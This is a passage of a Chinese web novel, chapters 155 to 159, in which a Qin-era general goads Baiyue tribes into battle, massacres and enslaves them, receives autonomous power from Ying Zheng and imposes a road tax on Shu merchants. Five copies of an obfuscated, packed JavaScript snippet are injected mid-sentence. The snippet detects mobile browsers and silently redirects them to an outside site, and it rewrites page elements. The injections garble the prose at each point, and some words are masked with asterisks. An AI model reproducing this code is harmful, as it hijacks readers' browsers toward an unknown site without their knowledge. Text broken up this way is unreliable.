山越的部族里,年轻的战士们已经快要疯了。他们是林中的王,何曾受过这等奇耻大辱?每天听着敌人在家门口用各种语言花式问候自己的祖宗十八代,偏偏长老们还严令不许出战,这比杀了他们还难受。 “嘿嘿嘿……”牛辅听完汇报,在大帐里笑得像个三百斤的孩子,“**,俺懂了!顾少这是要把他们活活气死啊!高!实在是高!” 他立刻来了精神,亲自跑到寨墙上,指挥士兵把缴获来的那些秦军制式铠甲和兵器,擦得锃亮,一排排挂在最显眼的地方。 “翻译官!给老子这么喊!”牛辅叉着腰,对着林子放声大吼,“告诉他们,爷爷们连秦军都打了,兵器都抢来了!就他们那点破铜烂铁,连给咱们的马修蹄子都不配!” …… 九原,郡守府。 李山河看着南方送来的战报,独眼中满是困惑。 “侯爷,牛哥这么搞,我怎么觉得……有点丢人呢?咱们九原军,什么时候靠骂街打仗了?” 议事厅内,众将也是面面相觑,想笑又不敢笑。 文远轻摇羽扇,解释道:“李将军此言差矣。兵者,诡道也。山越人以丛林为屏障,我军长处无法发挥。主公此计,看似粗鄙,实则攻心为上。他们在林中为王,最重颜面与荣耀。牛将军的每一句叫骂,都是在挑战他们的底线,动摇他们的军心。时间拖得越久,他们内部的矛盾就越大,就越沉不住气。” 顾清寒坐在主位上,手指轻轻敲击着桌面,没有说话。 他在等。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15746063|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等那条被反复挑衅的毒蛇,忍无可忍,主动探出头来。 …… 半个月后。 持续不断的羞辱,终于压垮了山越人脆弱的神经。 “呜——呜——” 苍凉的号角声从丛林深处响起,紧接着,山呼海啸般的怒吼声传来。 “来了!”寨墙上的哨兵声嘶力竭地大喊。 牛辅猛地从行军床上跳了起来,连铠甲都来不及穿好,抓起环首刀就冲上了寨墙。 只见黑压压的人潮,如同决堤的洪水,从丛林中狂涌而出。成千上万的山越战士,赤着上身,脸上涂着诡异的油彩,挥舞着简陋的武器,双眼通红,状若疯魔,直扑营寨而来。 他们终于被激怒了,放弃了自己最大的优势,冲进了这片为他们量身打造的开阔杀场。 牛辅看着那群冲过来的山越人,脸上没有丝毫紧张,反而露出了猎人看到猎物时,那种贪婪而残忍的笑容。 “**!总算把这群地老鼠给钓出来了!” 他深吸一口气,用尽全身力气,发出一声惊天动地的咆哮。 “全军戒备!弓箭手!给老子把箭囊都射空!让这帮孙子尝尝,什么叫箭雨!” …… 咸阳,客栈。 陆佩奇连滚带爬地冲进嬴政的房间,脸上的表情混杂着惊恐和一丝他自己都没察觉到的兴奋。 “陛……陛下!出来了!山越人……他们冲出林子了!几千人!不,怕是上万人!他们正在**牛辅的营寨!打起来了!真的打起来了!” 嬴政正拿着一把小巧的银剪,专注地修剪着一盆文竹的枝叶。他头也没抬,只是淡淡地问了一句: “哦?鱼咬钩了?” 剪刀“咔嚓”一声,剪掉一根多余的嫩芽。 他终于放下剪刀,抬起头,看向已经呆若木鸡的陆佩奇,那双古井无波的眼睛里,透出一抹欣慰的笑意。 “陆统领,你现在再听听。” “我那麒麟儿,磨了半个月的爪子。” “是不是,终于像点样子了?” 第156章 疯狗断牙,麒麟亮爪 第一百五十六章疯狗断牙,麒麟亮爪 开阔的杀场上,一场血腥的盛宴拉开了序幕。 山越人如同一股失控的黑色潮水,带着原始的愤怒和对鲜血的渴望,冲向那座孤零零的营寨。他们没有阵型,没有章法,唯一的战术就是冲锋,用自己的血肉之躯去填平那道看似不深的壕沟。 牛辅站在寨墙上,看着那一张张因狂怒而扭曲的脸,脸上没有丝毫惧意,反而咧嘴笑了起来,露出一口森白的牙。他身后的“狼崽军”士兵,静静地拉开了手中的强弓,眼神冰冷得像北疆冬日的寒铁。这些天积攒的憋屈和怒火,在这一刻,化作了最冷静的杀意。 “放!” 牛辅猛地挥下手臂。 “嗡——” 数千支羽箭腾空而起,像一片乌云,遮蔽了清晨的天光,随即带着死亡的尖啸,狠狠地扎进了那片奔涌的人潮之中。 没有惨叫,因为惨叫声瞬间就被更多的惨叫所淹没。冲在最前面的山越战士,如同被割倒的麦子,成片成片地倒下。他们的血,瞬间染红了脚下的土地。 后续的冲锋被同伴的尸体绊倒,阵脚大乱。 “第二轮!放!” 又是一片箭雨落下,精准地覆盖了人群最密集的地方。 山越人终于尝到了在开阔地带与正规军作战的滋味。他们的勇武,他们的悍不畏死,在冰冷的箭矢面前,成了最可笑的徒劳。丛林是他们的母亲,庇护着他们;而这片开阔地,则是他们的刑场,无情地吞噬着他们的生命。 当第三轮箭雨过后,冲到壕沟前的山越人已经十不存一。他们踩着同伴的尸体,好不容易越过鹿角,却发现等待他们的是营寨里伸出的,一排排闪着寒光的长矛。 “开门!”牛辅看着时机已到,发出一声震天的咆哮,“让这帮孙子看看,什么叫爷爷!” 沉重的寨门轰然打开。 压抑了半个多月的“狼崽军”,像一群被放出牢笼的饿狼,嘶吼着冲了出去。他们不再是弓箭手,而是手持环首刀和盾牌的步卒。他们以三人为一组,五人为一队,结成一个个小型的绞杀阵,沉默而高效地收割着那些已经溃不成军的山越战士。 这些匈奴人,骨子里流淌着的就是掠夺和杀戮的血液。如今被顾清寒用秦军的纪律和阵法重新锻造,他们既有草原狼的凶残,又有秦军的坚韧。 牛辅一马当先,手中的大刀舞得像个车轮,每一刀下去,都带起一片血花。他杀得兴起,放声大笑,那笑声里满是酣畅淋漓的痛快。 “**!还以为有多硬!比俺们村口的木头桩子还好砍!” 战斗,很快就变成了一场单方面的**。 山越人终于崩溃了。他们丢下武器,哭喊着,转身向丛林逃去。那里是他们唯一的生路。 “追!”牛辅的独眼中闪着嗜血的光,“别让他们跑回林子里去!” 狼崽军的追杀,比山越人的逃跑更加迅猛。这场血腥的狩猎,从清晨一直持续到日暮。瘴母林外的这片土地,彻底变成了一座修罗场。 …… 九原,郡守府。 一份带着血腥味的加急战报,摆在了议事厅的桌案上。 李山河一把抓过战报,看完之后,那只独眼瞪得老大,半天没说出话来。 “**……”他喃喃自语,脸上满是不可思议,“俺打了半辈子仗,头一回见到仗还能这么打的。骂了半个月的街,就把上万的敌人给骂**……侯爷,俺算是服了,以后您让俺去绣花,俺都去!” 厅内的众将也都传看着战报,一个个脸上都露出了既解气又有些荒诞的笑容。 文远轻摇羽扇,脸上的凝重一扫而空,取而代之的是一丝了然的笑意:“山越一战而溃,并非牛将军骂得有多好听。而是主公抓住了他们的命脉。他们以丛林为傲,以勇武为荣。我们不仅在他们家门口羞辱他们,还用他们最看不起的秦军制式兵器来挑衅他们。这就好比当面指着一个人的鼻子,说他不如他最痛恨的仇人。是这种羞辱,让他们失去了理智。” 顾清寒静静地听着,手指在那份战报上轻轻敲击。 “杀敌一万,俘虏三千,我军……战损不到三百。”他缓缓念出战报上的数字,脸上没有半分喜悦,“牛辅这笔学费,交得值。” 他站起身,走到沙盘前,目光再次投向了南方那片广袤的土地。 “传令牛辅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15746064|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “是!”李山河立刻挺直了腰板。 “打扫战场,把山越人的脑袋,在他们各个部族通往外界的路口,给我垒成京观。然后,派人去告诉那些还没死的长老。”顾清寒的声音很平静,却带着一股不容置疑的寒意,“给他们两条路走。” “要么,带着族人,走出林子,去九原的矿山里当一辈子矿奴。我管饭,管他们不死。” “要么,我就让牛辅带着狼崽军,走进林子,让他们整个部族,都变成京观上的一块石头。” 议事厅内,一片寂静。 众人这才明白,主公想要的,从来不只是一场胜利。他要的是土地,是财富,更是能为九原创造价值的……劳力。 百越的男人,是最好的矿奴。这,才是这场战争真正的目的。 …… 咸阳,客栈。 陆佩奇跪在地上,汇报着南方传来的捷报,他的声音都在颤抖,分不清是激动还是恐惧。 诱敌,**,震慑,索奴。 这一套组合拳打下来,行云流水,狠辣无情,让他这个见惯了杀伐的铁鹰剑士都感到心底发寒。 嬴政手中,正把玩着一块刚刚雕琢完成的玉佩。玉佩的形状,是一头仰天长啸的麒麟,通体温润,却又透着一股凌厉的霸气。 他听完陆佩奇的汇报,满意地点了点头。 “陆统领,你看这块玉。”嬴政将玉佩举到光下,“原先,它只是一块顽石,藏在山涧的泥沙里。要把它变成如今的模样,需要敲打,需要雕琢,更需要用最粗的砂石,反复地去打磨。” 他放下玉佩,走到窗边,目光似乎穿透了千山万水,落在了那片血与火的丛林。 “牛辅和他的狼崽军,就是我那孙儿手中的顽石。百越的山越,就是那块最粗糙的磨刀石。如今,这块石头,总算是磨出了几分样子。” 嬴政的嘴角,勾起一抹意味深长的笑容。 “去,给清寒传个信。” 他端起桌上那杯已经凉透了的茶水,一饮而尽。 “就说,这第一泡茶,虽然带着铁锈味,但还算解渴。” “朕,等着他后面的新茶。” 第157章 南疆臣服,咸阳震动 第一百五十七章南疆臣服,咸阳震动 百越,瘴母林外。 几座由人头垒砌而成的京观,矗立在通往丛林深处的各个路口,像一个个沉默而狰狞的警告。 湿热的风吹过,带不起半点生气,只剩下令人作呕的血腥味和死亡的腐臭。曾经桀骜不驯的山越部族,如今像一群受惊的鹌鹑,躲在自己的寨子里,连大气都不敢喘。 牛辅的“狼崽军”彻底掌控了这片土地。他们不再是猎物,而是这片丛林唯一的猎人。 “将军,那些地老鼠派人来了。”一名百夫长走进牛辅的大帐,脸上带着抑制不住的兴奋。 牛辅正光着膀子,用一块粗布擦拭着他那把饱饮鲜血的环首刀。他头也没抬,哼了一声:“怎么说?是想明白了,准备出来给爷爷们当矿奴了?” “他们说……他们愿意臣服。”百夫长挠了挠头,表情有些古怪,“不过他们有个条件。” “条件?”牛辅停下动作,独眼中寒光一闪,“**,一群手下败将,还敢跟老子谈条件?” 半个时辰后,几个须发皆白、脸上刻满沧桑的山越长老,被带到了牛辅面前。他们浑身颤抖,连看一眼那些高高垒起的京观的勇气都没有,一进大帐就“噗通”一声跪倒在地。 为首的长老用生硬的秦言,磕磕巴巴地说道:“将……将军,我们……我们愿意臣服,愿意为……为侯爷挖矿,只求……只求将军能给我们族人一条活路。” “活路?”牛辅冷笑一声,把环首刀“哐”地一声插在面前的案几上,刀柄兀自嗡嗡作响,“你们当初把老子的兵吊在树上当腊肉的时候,怎么没想过给他们一条活路?” 长老们吓得魂飞魄散,把头磕得如同捣蒜。 “将军饶命!我们……我们还有一个请求!”为首的长老鼓起最后的勇气,从怀里摸出一卷兽皮地图,双手奉上,“这是……这是我们百越之地最详细的地图,上面标明了所有部族的位置,还有……还有一处地方。” 牛辅接过地图,皱眉看去。 “那片红色的区域,叫‘瘴神谷’。”长老的声音带着深深的恐惧,“那里是瘴气最浓的地方,谷里住着百越最凶悍、最野蛮的‘黑巫部’。他们不与外人往来,以活人祭祀,连我们山越人,都不敢靠近。我们……我们愿意为将军带路,只要将军能帮我们……灭了黑巫部!” 牛辅盯着地图上那片不祥的红色,又看了看面前这几个抖如筛糠的老家伙,突然明白了什么。 这帮老狐狸,是在祸水东引,想借他的刀,去杀他们的仇人。 “嘿嘿……”牛辅咧嘴一笑,露出森白的牙齿。他没说好,也没说不好,只是把那份地图收了起来。 “想让我帮你们打架,也行。”牛辅站起身,像座铁塔一样俯视着他们,“先把你们部族里所有能干活的男人,都给老子交出来。表现好了,爷爷我或许可以考虑考虑。” …… 九原,郡守府。 当牛辅的捷报和那份“投名状”地图一起送到议事厅时,整个郡守府都沸腾了。 “我滴个娘!发了!这下真发了!”李山河看着战报上统计的“自愿”前往九原矿山劳作的山越壮丁数量,口水都快流出来了,“几万个免费的劳力啊!侯爷,咱们的矿山以后是不是得用金子来砌墙了?” 厅内的将领们个个喜笑颜开,畅快无比。困扰大秦几代君王的南疆蛮夷,就这么被自家侯爷谈笑间给平定了。这说出去,谁敢信? 文远拿着那份兽皮地图,眉头却微微皱起。 “主公,牛将军此举,怕是有些不妥。”文远走到沙盘前,将地图上的“瘴神谷”位置标了出来,“山越人用心险恶,那黑巫部既然能在瘴气最重之地生存,必然有其过人之处,手段恐怕比山越更加诡异。牛将军若是贸然进攻,恐会吃亏。” “不。”顾清寒摆了摆手,脸上露出一丝玩味的笑容,“牛辅做得很好。” 他走到沙盘前,看着那个红色的标记,仿佛在看一块上好的磨刀石。 “狼崽军打赢了顺风仗,一个个现在尾巴都快翘到天上去了。是该让他们见识见识,什么叫真正的硬骨头了。”顾清寒的目光扫过众人,“山越人不是想借刀**吗?那就借给他们。” 他看向文远:“传令牛辅,让他答应山越人的请求。不过,我们不动手。” “主公的意思是?” “让山越人自己去打。”顾清寒的嘴角勾起一抹弧度,“告诉牛辅,把我们缴获的那些兵器,分发给愿意打头阵的山越部族。我倒想看看,狗咬狗,能咬出个什么花样来。也让牛辅好好学学,怎么用最小的代价,去打最脏的仗。” 李山河在一旁听得一愣一愣的,最后憋出一句:“侯爷,您这心眼……比咱们矿洞里的巷子还多。” 满堂哄笑。 …… 咸阳,朝堂之上。 死一般的寂静。 数百名文武官员,像一群被掐住了脖子的公鸡,呆呆地站在原地,连呼吸都忘了。 就在刚刚,郎中令蒙毅,用他那古井无波的声音,宣读了来自南疆的捷报。 冠军侯帐下偏将牛辅,率五千降卒,旬月之间,平定百越之乱。斩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15746065|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 首上万,收服部族数十,得壮丁数万,不日将北上,充实九原矿山…… 每一个字,都像一记重锤,狠狠砸在所有人的心口上。 百越! 那是困扰了大秦数十年的毒瘤! 想当年,始皇帝派遣屠睢,率五十万大军南征,打了整整三年,尸横遍野,粮草耗尽,最后连主帅都死在了那里。五十万大秦精锐,换来的不过是一片血染的蛮荒之地和几个毫无用处的空头郡县。 可现在,那个他们眼中的“北疆恶犬”,只用了五千名连秦人都算不上的匈奴降卒,花了不到一个月的时间,就把这块连五十万大军都啃不动的硬骨头,给嚼碎了,吞了下去。 不仅吞了,还顺带打包了一群能下金蛋的鸡! 这已经不是打仗了,这是在变戏法! 几个曾经依附李斯,平日里没少在背后非议顾清寒的老臣,此刻脸色煞白,两股战战,恨不得当场找个地缝钻进去。 他们终于明白,那位冠军侯的可怕之处,不在于他有多能打,而在于他打仗的法子,跟他们根本不在一个层面上。他们还在想着开疆拓土,建功立业,人家想的却是怎么把敌人变成给自己赚钱的工具。 高下立判,云泥之别。 嬴政高坐于龙椅之上,面沉如水,看不出喜怒。 他等所有人都消化完了这个消息,才缓缓开口,声音不大,却清晰地传遍了整个大殿。 “众卿,以为如何?” 无人敢答。 “冠军侯顾清寒,”嬴政的声音提高了几分,带着一股不容置疑的威严,“以雷霆之势,为我大秦,解百年南顾之忧,功在社稷,利在千秋。” 他停顿了一下,目光扫过下方那一张张惊惧的脸。 “传朕旨意!” “封冠军侯为南征大都督,总领百越军政事宜!其所辖之地,税赋自理,用于南疆之开拓与安抚,只需每年向朝廷述职便可!” “轰——” 这道圣旨,如同一道天雷,在寂静的朝堂上炸响。 所有人都懵了。 总领军政!税赋自理! 这已经不是封赏了,这是在封王! 陛下这是要亲手为大秦,再造一个权势滔天的藩镇啊! 嬴政看着底下那群惊骇欲绝的臣子,嘴角勾起一抹无人能懂的冷笑。 藩镇? 不。 朕的麒麟儿,要的不是一隅之地。 他要的,是这整个天下。 而朕,就是要亲手,将这通往至尊之位的最后一块绊脚石,也替他搬开。 第158章 君王阳谋,麒麟接旨 第一百五十八章君王阳谋,麒麟接旨 咸阳宫,麒麟殿。 那道封赏冠军侯为南征大都督的圣旨,像一盆冰水,兜头浇在了数百名朝臣的头顶。整个大殿的空气仿佛都被抽干了,死寂得能听到自己心跳的声音。 南征大都督,总领军政,税赋自理。 这十二个字,每一个字都像一把重锤,砸得他们头晕眼花,心胆俱裂。 这不是封赏,这是在割肉!是从大秦的版图上,硬生生剜下一块最肥的肉,送到了那头北疆饿狼的嘴边。 陛下疯了吗? 一名须发皆白的老御史,颤颤巍巍地从队列中走出,他一生以进谏为己任,此刻只觉得若不开口,便愧对先祖。 “陛……陛下,此举万万不可啊!”老御史的声音抖得不成样子,“冠军侯虽有大功,然其年少,恐难当此重任。况且,军政自理,税赋不缴,此乃……此乃动摇国本之举,与封王何异?长此以往,恐成尾大不掉之势啊,陛下!” 他“噗通”一声跪倒在地,老泪纵横。 殿内的臣子们,有那么一瞬间,似乎看到了希望。他们齐刷刷地看向龙椅上的嬴政,期盼着他能收回成命。 然而,嬴政只是淡淡地瞥了那老御史一眼,没有发怒,也没有解释。那眼神平静如水,却又深不见底,仿佛在看一个不懂事的孩子。 他没有开口,一旁的郎中令蒙毅却上前一步。 “王御史,”蒙毅的声音一如既往的平稳,却带着一股不容置疑的压力,“冠军侯为大秦拓土千里,解南疆百年之患,此等不世之功,难道不配此等封赏吗?还是说,在王御史眼中,大秦的疆土,还不如几车税赋来得重要?” 王御史被噎得满脸通红,张了张嘴,却一个字也说不出来。 蒙毅继续道:“至于尾大不掉之势……冠军侯之兵,皆由陛下所授。冠军侯之权,亦由陛下所封。这天下,还是陛下的天下。王御史,是信不过冠军侯,还是……信不过陛下?” 最后一句,如同一记重锤,狠狠砸在王御史的心口。 信不过陛下? 这顶帽子,谁戴得起? 老御史浑身一软,瘫倒在地,再也不敢多言。 满朝文武,噤若寒蝉。他们这才看明白,这不是一时兴起,这是陛下深思熟虑之后的阳谋。谁敢反对,谁就是在质疑君权。 嬴政看着底下那一张张惊恐而顺从的脸,这才缓缓开口,声音里带着一丝无人能懂的疲惫与决绝。 “此事,就这么定了。朕乏了,退朝。” …… 咸阳,客栈。 陆佩奇感觉自己的世界观,在今天被彻底颠覆了。他失魂落魄地冲回客栈,看到嬴政正悠闲地用一根小木棍,逗弄着笼子里那匹神骏的汗血宝马。 “陛……陛下!”陆佩奇“噗通”一声跪倒在地,声音里带着哭腔,“您……您怎么能下那样的圣旨?南征大都督,税赋自理……这……这不是等于把半个南方都送给他了吗?他……他本来就想**啊!您这不是把刀递到他手上,还帮他磨快了刀刃吗?” 他想不通,完全想不通。 嬴政没有回头,只是继续用木棍轻轻搔刮着宝马的脖颈,那马儿舒服地打着响鼻。 “陆统领,你看这匹马。”嬴政的声音很平静,“它原是西域的野马王,性子比谁都烈。若是一直把它关在这小小的笼子里,它要么把自己撞死,要么就慢慢变成一头温顺的蠢驴。” 他扔掉木棍,转过身,看着一脸茫然的陆佩奇。 “可若是把它放到一片更广阔的草原上,让它去撕咬,去征服,它才能永远保持着那股子悍勇之气,才能成为真正的马中之王。” 嬴政走到窗边,看着咸阳城繁华的街道,眼神变得悠远。 “朕这座大宅子,看起来是富丽堂皇,可里面的梁柱,有不少已经被虫子蛀空了。修修补补,不过是苟延残喘。朕需要一根全新的,用最坚硬的铁木做成的顶梁柱,从地基开始,牢牢地撑起这座宅子。” 他回头,看着陆佩奇,嘴角勾起一抹意味深长的笑意。 “朕的麒麟儿,就是朕选中的那根顶梁柱。朕现在不是在给他一块地,朕是在给他清出一片足够坚实的空地,让他自己长成一棵能撑起整片天空的参天大树。” “至于**……”嬴政笑了起来,那笑容里带着几分欣赏,几分自负,“他若真有本事,能从朕的手里,把这整个天下都夺了去。那这天下,给他,朕也认了。总好过,交到一群守户之犬的手里,最后被外面的野狼撕成碎片。” 陆佩奇呆住了,他张着嘴,脑子里一片空白。 他终于模糊地明白了。陛下不是在防着冠军侯,他是在逼着冠军侯,去成为一个比他更强大的君王。 这哪里是阳谋,这根本就是一场豪赌,赌上了整个大秦的国运。 …… 九原,郡守府。 那卷明黄的圣旨,在议事厅内引起了轩然大波。 “南征大都督?税赋自理?俺的娘哎!”李山河一把抢过圣旨,翻来覆去地看,那只独眼瞪得比铜铃还大,“侯爷!咱们这是……这是不是就跟那周天子时候的诸侯国一样了?以后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15754204|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咱们的地盘,咱们自己说了算?” 厅内的将领们也都炸开了锅,一个个摩拳擦掌,兴奋得满脸通红。 “以后咱们的军饷,是不是能翻倍了?” “何止翻倍!以后看上哪块地,咱们自己就能打下来,不用等朝廷的命令了!” “这赵老伯,真是咱们的亲大爷啊!” 整个议事厅,像个烧开的水壶,充满了快活的空气。 只有文远和姜瞳对视了一眼,彼此都看到了对方眼中的凝重。 “夫君,”姜瞳走到顾清寒身边,柔声道,“陛下此举,名为封赏,实为‘捧杀’。他将你推到了风口浪尖,从此以后,天下人的目光,都会聚焦在九原,聚焦在南疆。你走的每一步,都会被人拿着放大镜来看。” 文远也摇着羽扇,补充道:“夫人所言极是。主公,这既是天大的机遇,也是莫大的凶险。朝中那些人,之前只是忌惮,如今,恐怕就是嫉恨了。他们会用尽一切办法,来给你找麻烦,等着你犯错。” 顾清寒坐在主位上,始终没有说话。他手指轻轻敲击着桌面,脸上无喜无悲。 他当然明白。 这位便宜爷爷,根本不是在给他封赏。 他是在告诉他:小子,棋盘给你了,规则也由你定。朝堂上那些碍事的棋子,我也帮你清掉了一半。接下来,你要是还不能给我下一盘惊天动地的大棋出来,那你就不配做我的孙子。 “哈哈哈……”顾清寒突然笑了起来。 他站起身,从李山河手里拿过那卷圣旨,随手扔在了沙盘上,正好盖住了南方那片广袤的土地。 “捧杀?”顾清寒环视着众人,那双黑色的眸子里,燃起了前所未有的光芒,“他想捧,也得看我肯不肯让他杀!” 他走到沙盘前,手指在那卷圣旨上重重一点,语气中带着一股睥睨天下的霸气。 “他不是想看我下棋吗?那我就下给他看。” “文远!” “属下在!” “传令牛辅,让他别玩那些狗咬狗的把戏了。”顾清寒的嘴角,勾起一抹冰冷的弧度,“告诉他,我给他一个月的时间。我要他带着那群刚刚学会怎么咬人的山越疯狗,把那个什么‘黑巫部’,连同他们的‘瘴神谷’,从地图上,给我彻底抹掉!” “然后,”顾清寒的目光,越过沙盘,仿佛看到了更遥远的地方,“让他把大军开到蜀郡边境。告诉田儋,让他准备好足够的钱和粮。” “我要让南方的朋友们看看,我这个新上任的南征大都督……” “是怎么收税的。” 第159章 麒麟收税,蜀中震颤 第一百五十九章麒麟收税,蜀中震颤 蜀郡,成都。 作为大秦最富庶的郡县,这里的生活,与北疆的苦寒和关中的肃杀,仿佛是两个世界。都江堰的流水滋养着千里沃野,蜀锦和井盐源源不断地创造着惊人的财富。这里的世家豪族,早已习惯了安逸与奢华,对于千里之外的朝堂风云,大多只当是酒宴上的谈资。 城中最大的豪商,刘氏家主刘赫的府邸内,一场盛大的宴会正在进行。宾客们推杯换盏,言笑晏晏,话题自然而然地落到了那道震惊咸阳的圣旨上。 “听说了吗?陛下竟封了那个北地来的小子做什么南征大都督,还让他税赋自理,真是闻所未闻。”一个锦衣胖子撇着嘴,满脸不屑。 刘赫端着酒杯,轻晃着杯中琥珀色的美酒,闻言嗤笑一声:“南征大都督?听着威风,管的不过是百越那片不长毛的烂地。一群茹毛饮血的野人,能榨出几两油水?依我看,陛下是被那小子打了几个胜仗给蒙蔽了,竟做出如此荒唐之举。” “刘兄所言极是!”另一人附和道,“一个只会在草原上舞刀弄枪的莽夫,能懂什么叫治理?我赌不出一年,他那所谓的南疆,就得饿殍遍地,民怨沸腾!” “哈哈哈,到时候,说不定还要哭着求朝廷给他拨粮呢!” 满堂哄笑,空气里充满了快活的气息。在他们眼中,顾清寒不过是一头离了草原,误入南方的蠢狼,根本不足为惧。他们富甲一方,手眼通天,又岂会把一个偏远之地的“土皇帝”放在眼里? 就在这时,一名管家神色慌张地跑了进来,凑到刘赫耳边,低语了几句。 刘赫脸上的笑容,瞬间凝固了。 …… 蜀郡东境,通往南郡的必经之路上。 一支军队,毫无征兆地出现在了这里。 不是牛辅那支衣衫褴褛的“狼崽军”,而是顾清寒的亲卫——玄甲军。黑色的甲胄,冰冷的铁面,沉默如山的军容,像一把出鞘的利刃,横亘在蜀道之上,散发着令人窒息的杀气。 与军队一同到来的,还有田儋麾下的一支庞大商队。只是这一次,他们没有运载丝绸茶叶,而是在路口迅速搭建起了一座座营帐和关卡,俨然一副要在此处安营扎寨的架势。 一座最大的营帐内,文远身着一袭白衣,悠然地坐在案几后,手中捧着一卷竹简,仿佛是在游山玩水。 很快,一支满载着蜀锦和井盐的商队,被玄甲军拦了下来。领头的管事,正是刘赫的心腹。 “你们是什么人?为何拦我去路?知道这是谁家的商队吗?”刘管事色厉内荏地喝道。 一名玄甲军军官面无表情地指了指旁边的营帐:“我家先生有请。” 刘管事走进营帐,看到了一脸温和的文远,以及他身后那两名气息沉凝如铁的玄甲卫士,心头不由得一跳。 “阁下是?” “在下文远,奉南征大都督之命,在此地督办军务。”文远放下竹简,微笑着抬起头,那笑容如春风般和煦,却让刘管事感到一阵莫名的寒意。 “南征大都督?”刘管事一愣,随即挺起胸膛,“原来是冠军侯的人。不知大都督拦下我们刘家的商队,有何贵干?我们可是奉公守法的商人。” “自然是奉公守法。”文远点了点头,做了个请坐的手势,“只是,大都督初定南疆,百废待兴。为保南疆长久安宁,庇护蜀中百姓商旅不受蛮夷侵扰,大都督决定,凡经此路段之商货,需缴纳三成‘保境安民税’,以充军资。” “什么?三……三成?”刘管事像被踩了尾巴的猫一样跳了起来,声音都变了调,“你们这是**!大秦律法,何曾有过此等苛捐杂税?我要去郡守府告你们!我要上奏陛下!” “请便。”文远脸上的笑容不变,从案几上拿起一卷早已备好的圣旨拓本,轻轻推了过去。 “陛下有旨:封冠军侯为南征大都督,总领百越军政事宜,其所辖之地,税赋自理。”文远的声音不疾不徐,每一个字都清晰地敲在刘管事的心上,“大都督的辖地,自然是要为整个南疆的安危负责。蜀郡,亦在南疆。这税,合情,合理,更……合法。” 刘管事呆呆地看着那卷黄澄澄的圣旨,又看了看文远那张人畜无害的笑脸,一股寒气从脚底板直冲天灵盖。 他终于明白了。 这不是**,这是用皇帝的圣旨,明着来抢。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15754205|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> …… 消息如同一场剧烈的地震,在成都城内炸开。 刘府的宴会,早已不欢而散。蜀中所有豪商大族的首脑,此刻都**在刘赫的书房里,一个个脸色铁青,如丧考妣。 “疯了!他一定是疯了!他怎么敢!”刘赫气得浑身发抖,将一个心爱的瓷杯狠狠摔在地上,“他这是要断了我们所有人的活路!” “郡守大人怎么说?”有人急切地问道。 “郡守?”刘赫冷笑一声,“那老东西,一听是冠军侯的人,还拿着圣旨,就说自己偶感风寒,闭门谢客了!他就是个没胆的怂货!” 书房内,一片死寂。 他们终于意识到,自己惹上了一个什么样的怪物。这个怪物不跟你讲道理,不跟你比拳头,他直接拿着皇帝的旨意,把你的脖子死死掐住。你反抗,就是抗旨。你不反抗,就得被他活活吸干血。 “难道……我们就这么认了?”一个年轻的家主不甘心地说道,“三成的税,那我们还做什么生意?不如把家产都送给他算了!” 就在众人一筹莫展之际,门外管家又送来一封信。 信是文远派人送来的。 刘赫颤抖着手打开,信上的言辞客气得让他想吐血。 